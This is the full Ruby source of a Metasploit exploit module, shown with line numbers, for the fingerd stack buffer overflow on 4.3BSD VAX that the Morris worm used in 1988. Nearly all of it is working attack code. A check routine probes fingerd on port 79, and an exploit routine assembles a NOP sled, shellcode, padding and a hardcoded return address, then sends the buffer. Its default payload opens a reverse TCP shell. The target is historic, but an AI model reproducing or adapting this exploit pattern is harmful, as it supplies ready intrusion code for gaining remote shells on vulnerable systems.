Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = NormalRanking
9

10
  # This is so one-off that we define it here
11
  ARCH_VAX = 'vax'
12

13
  include Msf::Exploit::Remote::Tcp
14
  prepend Msf::Exploit::Remote::AutoCheck
15

16
  def initialize(info = {})
17
    super(update_info(info,
18
      'Name'              => 'Morris Worm fingerd Stack Buffer Overflow',
19
      'Description'       => %q{
20
        This module exploits a stack buffer overflow in fingerd on 4.3BSD.
21

22
        This vulnerability was exploited by the Morris worm in 1988-11-02.
23
        Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
24

25
        Currently, only bsd/vax/shell_reverse_tcp is supported.
26
      },
27
      'Author'            => [
28
        'Robert Tappan Morris', # Discovery? Exploit and worm for sure
29
        'Cliff Stoll',          # The Cuckoo's Egg epilogue and inspiration
30
        'wvu'                   # Module, payload, and additional research
31
      ],
32
      'References'        => [
33
        ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'],         # History
34
        ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],  # Analysis
35
        ['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'],   # Details
36
        ['URL', 'https://github.com/arialdomartini/morris-worm'],     # Source
37
        ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
38
        # And credit to the innumerable VAX ISA docs on the Web
39
      ],
40
      'DisclosureDate'    => '1988-11-02',
41
      'License'           => MSF_LICENSE,
42
      'Platform'          => 'bsd',
43
      'Arch'              => ARCH_VAX,
44
      'Privileged'        => false, # Depends on inetd.conf, usually "nobody"
45
      'Targets'           => [
46
        # https://en.wikipedia.org/wiki/Source_Code_Control_System
47
        ['@(#)fingerd.c   5.1 (Berkeley) 6/6/85',
48
          'Ret'           => 0x7fffe9b0,
49
          'Payload'       => {
50
            'Space'       => 403,
51
            'BadChars'    => "\n",
52
            'Encoder'     => 'generic/none', # There is no spoon
53
            'DisableNops' => true            # Hardcoded NOPs
54
          }
55
        ]
56
      ],
57
      'DefaultTarget'     => 0,
58
      'DefaultOptions'    => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'}
59
    ))
60

61
    register_options([Opt::RPORT(79)])
62
  end
63

64
  def check
65
    token = rand_text_alphanumeric(8..42)
66

67
    connect
68
    sock.put("#{token}\n")
69
    res = sock.get_once
70

71
    return CheckCode::Unknown unless res
72

73
    if res.include?("Login name: #{token}")
74
      return CheckCode::Detected
75
    end
76

77
    CheckCode::Safe
78
  rescue EOFError, Rex::ConnectionError => e
79
    vprint_error(e.message)
80
    CheckCode::Unknown
81
  ensure
82
    disconnect
83
  end
84

85
  def exploit
86
    # Start by generating our custom VAX shellcode
87
    shellcode = payload.encoded
88

89
    # 0x01 is NOP in VAX-speak
90
    nops = "\x01" * (target.payload_space - shellcode.length)
91

92
    # This pads past buffer corruption
93
    padding = rand_text_alphanumeric(109)
94

95
    # This zeroes out part of the stack frame
96
    frame = "\x00" * 16
97

98
    # Finally, pack in our return address
99
    ret = [target.ret].pack('V') # V is for VAX!
100

101
    # The newline is for gets(3)
102
    sploit = nops + shellcode + padding + frame + ret + "\n"
103

104
    # Fire away
105
    print_status('Connecting to fingerd')
106
    connect
107
    print_status("Sending #{sploit.length}-byte buffer")
108
    sock.put(sploit)
109
  # Hat tip @bcoles
110
  rescue Rex::ConnectionError => e
111
    fail_with(Failure::Unreachable, e.message)
112
  ensure
113
    disconnect
114
  end
115

116
end
117

118